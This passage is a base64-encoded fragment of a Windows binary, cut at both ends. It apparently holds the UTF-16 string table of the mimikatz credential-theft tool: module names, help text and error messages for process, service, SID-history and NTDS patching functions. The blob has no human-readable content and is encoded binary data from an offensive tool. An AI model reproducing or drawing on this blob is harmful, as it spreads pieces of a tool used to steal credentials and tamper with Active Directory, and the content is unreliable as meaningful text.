gAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AG8AcAAAAAAAAAAAAFQAZQByAG0AaQBuAGEAdABlACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHUAcwBwAGUAbgBkAAAAUwB1AHMAcABlAG4AZAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAAAAHIAZQBzAHUAbQBlAAAAAABSAGUAcwB1AG0AZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAUAByAG8AYwBlAHMAcwAgAG0AbwBkAHUAbABlAAAAAABUAHIAeQBpAG4AZwAgAHQAbwAgAHMAdABhAHIAdAAgACIAJQBzACIAIAA6ACAAAABPAEsAIAAhACAAKABQAEkARAAgACUAdQApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcwB0AGEAcgB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABOAHQAVABlAHIAbQBpAG4AYQB0AGUAUAByAG8AYwBlAHMAcwAAAAAATgB0AFMAdQBzAHAAZQBuAGQAUAByAG8AYwBlAHMAcwAAAAAAAAAAAE4AdABSAGUAcwB1AG0AZQBQAHIAbwBjAGUAcwBzAAAAJQBzACAAbwBmACAAJQB1ACAAUABJAEQAIAA6ACAATwBLACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIAAlAHMAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABwAGkAZAAgACgALwBwAGkAZAA6ADEAMgAzACkAIABpAHMAIABtAGkAcwBzAGkAbgBnAAAAAAAAACUAdQAJACUAdwBaAAAAAAAgACgAAAAAACkAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBvAHAAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACUAdwBaAAAAAAAAAAAACgAJACUAcAAgAC0APgAgACUAdQAAAAAACQAlAHUAAAAJACAAAAAAAAkAJQBwAAAACQAlAFMAAAAJAC0APgAgACUAUwAAAAAACgAJACUAcAAgAC0APgAgACUAcAAJACUAUwAgACEAIAAAAAAAJQBTAAAAAAAAAAAAIwAlAHUAAABTAHQAYQByAHQAIABzAGUAcgB2AGkAYwBlAAAAAAAAAFIAZQBtAG8AdgBlACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB0AG8AcAAgAHMAZQByAHYAaQBjAGUAAAAAAAAAAABTAHUAcwBwAGUAbgBkACAAcwBlAHIAdgBpAGMAZQAAAFIAZQBzAHUAbQBlACAAcwBlAHIAdgBpAGMAZQAAAAAAcAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuACAAcwBlAHIAdgBpAGMAZQAAAHMAaAB1AHQAZABvAHcAbgAAAAAAAAAAAFMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAAAAAAAAAABMAGkAcwB0ACAAcwBlAHIAdgBpAGMAZQBzAAAAAAAAAFMAZQByAHYAaQBjAGUAIABtAG8AZAB1AGwAZQAAAAAAJQBzACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAFMAZQByAHYAaQBjAGUAIABvAHAAZQByAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABJAG4AagBlAGMAdAAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUACgAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABNAGkAcwBzAGkAbgBnACAAcwBlAHIAdgBpAGMAZQAgAG4AYQBtAGUAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAUwB0AGEAcgB0AGkAbgBnAAAAAAAAAAAAUgBlAG0AbwB2AGkAbgBnAAAAAAAAAAAAUwB0AG8AcABwAGkAbgBnAAAAAAAAAAAAUwB1AHMAcABlAG4AZABpAG4AZwAAAAAAUgBlAHMAdQBtAGkAbgBnAAAAAAAAAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAcwBlAHIAdgBpAGMAZQBzAC4AZQB4AGUAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAZQByAHIAbwByACAAJQB1AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGkAdABoAG8AdQB0ACAAUwBjAFMAZQBuAGQAQwBvAG4AdAByAG8AbAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAGwAbwBvAGsAdQBwAAAAAABOAGEAbQBlACAAbwByACAAUwBJAEQAIABsAG8AbwBrAHUAcAAAAAAAcQB1AGUAcgB5AAAAAAAAAFEAdQBlAHIAeQAgAG8AYgBqAGUAYwB0ACAAYgB5ACAAUwBJAEQAIABvAHIAIABuAGEAbQBlAAAAbQBvAGQAaQBmAHkAAAAAAE0AbwBkAGkAZgB5ACAAbwBiAGoAZQBjAHQAIABTAEkARAAgAG8AZgAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAAABhAGQAZAAAAEEAZABkACAAYQAgAFMASQBEACAAdABvACAAcwBJAEQASABpAHMAdABvAHIAeQAgAG8AZgAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAAAAAAAAAQwBsAGUAYQByACAAcwBJAEQASABpAHMAdABvAHIAeQAgAG8AZgAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAAAAAAFAAYQB0AGMAaAAgAE4AVABEAFMAIABTAGUAcgB2AGkAYwBlAAAAAABTAGUAYwB1AHIAaQB0AHkAIABJAGQAZQBuAHQAaQBmAGkAZQByAHMAIABtAG8AZAB1AGwAZQAAAFMASQBEACAAIAAgADoAIAAlAHMACgAAAAAAAAAAAAAAVAB5AHAAZQAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuADoAIAAlAHMACgBOAGEAbQBlACAAIAA6ACAAJQBzAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABOAGEAbQBlAEQAbwBtAGEAaQBuAEYAcgBvAG0AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAASQBuAHYAYQBsAGkAZAAgAFMASQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAE4AYQBtAGUAIAAgADoAIAAlAHMACgAAAFQAeQBwAGUAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgA6ACAAJQBzAAoAUwBJAEQAIAAgACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABTAGkAZABEAG8AbQBhAGkAbgBGAHIAbwBtAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAALwBzAGkAZAAgAG8AcgAgAC8AbgBhAG0AZQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAG8AYgBqAGUAYwB0AFMAaQBkAAAAAAAAAG4AZQB3AAAAAAAAAAAAAAAKACAAIAAqACAAVwBpAGwAbAAgAHQAcgB5ACAAdABvACAAbQBvAGQAaQBmAHkAIAAnACUAcwAnACAAdABvACAAJwAAAAAAAAAnADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBtAG8AZABpAGYAeQAgADsAIABsAGQAYQBwAF8AbQBvAGQAaQBmAHkAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbQBvAGQAaQBmAHkAIAA7ACAASQBuAHYAYQBsAGkAZAAgAFMASQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBtAG8AZABpAGYAeQAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAG0AbwBkAGkAZgB5ACAAOwAgAC8AbgBlAHcAOgBzAGkAZAAgAGkAcwAgAG4AZQBlAGQAZQBkAAAAAAAAAAAAcwBJAEQASABpAHMAdABvAHIAeQAAAAAAAAAAAAAAAAAKACAAIAAqACAAVwBpAGwAbAAgAHQAcgB5ACAAdABvACAAYQBkAGQAIAAnACUAcwAnACAAdABoAGkAcwAgAG4AZQB3ACAAUwBJAEQAOgAnAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AYQBkAGQAIAA7ACAAbABkAGEAcABfAG0AbwBkAGkAZgB5AF8AcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AYQBkAGQAIAA7ACAASQBuAHYAYQBsAGkAZAAgAFMASQBEAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBhAGQAZAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgAC8AIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AFMAaQBkAEQAbwBtAGEAaQBuAEYAcgBvAG0ATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBhAGQAZAAgADsAIAAvAG4AZQB3ADoAcwBpAGQAIABvAHIAIAAvAG4AZQB3ADoAcgBlAHMAbwBsAHYAYQBiAGwAZQBfAG4AYQBtAGUAIABpAHMAIABuAGUAZQBkAGUAZAAAAAAAAAAKACAAIAAqACAAVwBpAGwAbAAgAHQAcgB5ACAAdABvACAAYwBsAGUAYQByACAAJwAlAHMAJwA6ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AYwBsAGUAYQByACAAOwAgAE4AbwAgAHMASQBEAEgAaQBzAHQAbwByAHkAIABhAHQAdAByAGkAYgB1AHQAZQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGMAbABlAGEAcgAgADsAIABsAGQAYQBwAF8AbQBvAGQAaQBmAHkAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAAABzAGEAbQBzAHMAAAAAAAAAbgB0AGQAcwBhAC4AZABsAGwAAAAAAAAAbgB0AGQAcwBhAGkALgBkAGwAbAAAAAAAUABhAHQAYwBoACAAMQAvADIAOgAgAAAAUABhAHQAYwBoACAAMgAvADIAOgAgAAAACgAlAHMACgAAAAAAAAAAACAAIAAlAHMAOgAgAAAAAABzAEEATQBBAGMAYwBvAHUAbgB0AE4AYQBtAGUAAAAAACUAKgBTAAoAAAAAAAAAAABvAGIAagBlAGMAdABHAFUASQBEAAAAAAAKACAAIAAgAFsAJQB1AF0AIAAAAAAAAAAgACgAIAAlAHMAIAAtAC0AIAAlAHMAXAAlAHMAIAApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAHEAdQBpAGMAawBTAGUAYQByAGMAaAAgADsAIABOAG8AIAByAGUAcwB1AGwAdAAhACAALQAgAGYAaQBsAHQAZQByACAAdwBhAHMAIAAnACUAcwAnAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AcQB1AGkAYwBrAFMAZQBhAHIAYwBoACAAOwAgAE4AbwB0ACAAdQBuAGkAcQB1AGUAIAAtACAAUABsAGUAYQBzAGUAOgAgAGQAbwBuACcAdAAgAGIAcgBpAGMAawAgAHkAbwB1AHIAIABBAEQAIQAgAC0AIABmAGkAbAB0AGUAcgAgAHcAYQBzACAAJwAlAHMAJwAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AcQB1AGkAYwBrAFMAZQBhAHIAYwBoACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAKABzAEEATQBBAGMAYwBvAHUAbgB0AE4AYQBtAGUAPQAlAHMAKQAAACgAbwBiAGoAZQBjAHQAUwBpAGQAPQAAAFwAJQAwADIAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZgBpAGwAdABlAHIARgByAG8AbQBBAHIAZwBzACAAOwAgAEkAbgB2AGEAbABpAGQAIABTAEkARAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZgBpAGwAdABlAHIARgByAG8AbQBBAHIAZwBzACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZgBpAGwAdABlAHIARgByAG8AbQBBAHIAZwBzACAAOwAgAC8AcwBhAG0AIABvAHIAIAAvAHMAaQBkACAAdABvACAAdABhAHIAZwBlAHQAIAB0AGgAZQAgAGEAYwBjAG8AdQBuAHQAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGcAZQB0AEwAZABhAHAAQQBuAGQAUgBvAG8AdABEAE4AIAA7ACAAbABkAGEAcABfAGIAaQBuAGQAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQATABkAGEAcABBAG4AZABSAG8AbwB0AEQATgAgADsAIABsAGQAYQBwAF8AaQBuAGkAdAAKAAAAAAByAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAAAAoAGQAbgA9AFIAbwBvAHQARABTAEUAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABSAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAIAA7ACAAbABkAGEAcABfAGcAZQB0AF8AdgBhAGwAdQBlAHMAXwBsAGUAbgAgAGkAcwAgAE4ATwBUACAAMQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQAUgBvAG8AdABEAG8AbQBhAGkAbgBOAGEAbQBpAG4AZwBDAG8AbgB0AGUAeAB0ACAAOwAgAGwAZABhAHAAXwBjAG8AdQBuAHQAXwBlAG4AdAByAGkAZQBzACAAaQBzACAATgBPAFQAIAAxAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGcAZQB0AFIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAZQB4AGkAdAAAAAAAAAAAAFEAdQBpAHQAIABtAGkAbQBpAGsAYQB0AHoAAAAAAAAAYwBsAHMAAAAAAAAAAAAAAEMAbABlAGEAcgAgAHMAYwByAGUAZQBuACAAKABkAG8AZQBzAG4AJwB0ACAAdwBvAHIAawAgAHcAaQB0AGgAIAByAGUAZABpAHIAZQBjAHQAaQBvAG4AcwAsACAAbABpAGsAZQAgAFAAcwBFAHgAZQBjACkAAAAAAGEAbgBzAHcAZQByAAAAAAAAAAAAAAAAAEEAbgBzAHcAZQByACAAdABvACAAdABoAGUAIABVAGwAdABpAG0AYQB0AGUAIABRAHUAZQBzAHQAaQBvAG4AIABvAGYAIABMAGkAZgBlACwAIAB0AGgAZQAgAFUAbgBpAHYAZQByAHMAZQAsACAAYQBuAGQAIABFAHYAZQByAHkAdABoAGkAbgBnAAAAAAAAAGMAbwBmAGYAZQBlAAAAAABQAGwAZQBhAHMAZQAsACAAbQBhAGsAZQAgAG0AZQAgAGEAIABjAG8AZgBmAGUAZQAhAAAAAAAAAHMAbABlAGUAcAAAAAAAAAAAAAAAAAAAAFMAbABlAGUAcAAgAGEAbgAgAGEAbQBvAHUAbgB0ACAAbwBmACAAbQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAAABMAG8AZwAgAG0AaQBtAGkAawBhAHQAegAgAGkAbgBwAHUAdAAvAG8AdQB0AHAAdQB0ACAAdABvACAAZgBpAGwAZQAAAAAAAABiAGEAcwBlADYANAAAAAAAAAAAAAAAAABTAHcAaQB0AGMAaAAgAGYAaQBsAGUAIABvAHUAdABwAHUAdAAvAGIAYQBzAGUANgA0ACAAbwB1AHQAcAB1AHQAAAAAAAAAAAB2AGUAcgBzAGkAbwBuAAAAAAAAAAAAAABEAGkAcwBwAGwAYQB5ACAAcwBvAG0AZQAgAHYAZQByAHMAaQBvAG4AIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAAAGMAZAAAAAAAAAAAAEMAaABhAG4AZwBlACAAbwByACAAZABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABkAGkAcgBlAGMAdABvAHIAeQAAAGwAbwBjAGEAbAB0AGkAbQBlAAAAAAAAAEQAaQBzAHAAbABhAHkAcwAgAHMAeQBzAHQAZQBtACAAbABvAGMAYQBsACAAZABhAHQAZQAgAGEAbgBkACAAdABpAG0AZQAgACgATwBKACAAYwBvAG0AbQBhAG4AZAApAAAAAAAAAAAAcwB0AGEAbgBkAGEAcgBkAAAAAAAAAAAAUwB0AGEAbgBkAGEAcgBkACAAbQBvAGQAdQBsAGUAAABCAGEAcwBpAGMAIABjAG8AbQBtAGEAbgBkAHMAIAAoAGQAbwBlAHMAIABuAG8AdAAgAHIAZQBxAHUAaQByAGUAIABtAG8AZAB1AGwAZQAgAG4AYQBtAGUAKQAAAAAAAABCAHkAZQAhAAoAAAAAAAAANAAyAC4ACgAAAAAAAAAAAAoAIAAgACAAIAAoACAAKAAKACAAIAAgACAAIAApACAAKQAKACAAIAAuAF8AXwBfAF8AXwBfAC4ACgAgACAAfAAgACAAIAAgACAAIAB8AF0ACgAgACAAXAAgACAAIAAgACAAIAAvAAoAIAAgACAAYAAtAC0ALQAtACcACgAAAAAAUwBsAGUAZQBwACAAOgAgACUAdQAgAG0AcwAuAC4ALgAgAAAAAAAAAEUAbgBkACAAIQAKAAAAAABtAGkAbQBpAGsAYQB0AHoALgBsAG8AZwAAAAAAAAAAAFUAcwBpAG4AZwAgACcAJQBzACcAIABmAG8AcgAgAGwAbwBnAGYAaQBsAGUAIAA6ACAAJQBzAAoAAAAAAAAAAABmAGEAbABzAGUAAAAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAdwBhAHMAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAGkAcwAgAG4AbwB3ACAAOgAgACUAcwAKAAAAAAA2ADQAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADEAIAAoAGEAcgBjAGgAIAB4ADYANAApAAoAVwBpAG4AZABvAHcAcwAgAE4AVAAgACUAdQAuACUAdQAgAGIAdQBpAGwAZAAgACUAdQAgACgAYQByAGMAaAAgAHgAJQBzACkACgBtAHMAdgBjACAAJQB1ACAAJQB1AAoAAAAAAAAAQwB1AHIAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAATgBlAHcAOgAgACUAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABTAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABMAG8AYwBhAGwAOgAgAAAAWgBvAG4AZQAgADoAIAAlAC4AMwAyAHMACgAAAAAAAABVAFQAQwAgACAAOgAgAAAATABpAHMAdAAgAC4ALgAuAAAAAAAAAAAAZwBlAHQAAABHAGUAdAAgAC4ALgAuAAAAcwBlAHQAAABTAGUAdAAgAC4ALgAuAAAAZABlAGwAAABEAGUAbAAgAC4ALgAuAAAAAAAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQBsAHUAZQAgAG0AbwBkAHUAbABlAAAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAAACkACgBMAGUAbgBnAHQAaAAgACAAIAAgACAAOgAgACUAdQAKAEQAYQB0AGEAIAAgACAAIAAgACAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AbABpAHMAdAAgADsAIABOAHQARQBuAHUAbQBlAHIAYQB0AGUAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBzAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGwAaQBzAHQAIAA7ACAATgB0AEUAbgB1AG0AZQByAGEAdABlAFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUAcwBFAHgAKABzAGkAegBlACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABOAHQAUQB1AGUAcgB5AFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUARQB4ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAuAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAHMAaQB6AGUAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGcAZQB0ACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAHsAYgAxADYAYgAwADAAYgA1AC0AYwBhAGYAZQAtAGIAYQBiAGUALQAwAGUAZQAwAC0AZABhAGIAYQBkAGEAYgBhAGQAMAAwADAAfQAAAAAANAAxADAAMAAyADAAMAAwADQAYwAwADAANgAxADAAMAAyADAAMAAwADUANgAwADAANgA5ADAAMAA2ADUAMAAwADIAYwAwADAAMgAwADAAMAA0ADEAMAAwADIAMAAwADAANABjADAAMAAyADcAMAAwADQAMQAwADAANgBkADAAMAA2AGYAMAAwADcANQAwADAANwAyADAAMAAwADAAMAAwAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AcwBlAHQAIAA7ACAATgB0AFMAZQB0AFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUARQB4ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AcwBlAHQAIAA7ACAAUgB0AGwARwBVAEkARABGAHIAbwBtAFMAdAByAGkAbgBnADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAAbgBvAHQAIABmAG8AdQBuAGQALgAKAAAAAAAAAAAAAAAAAAAAR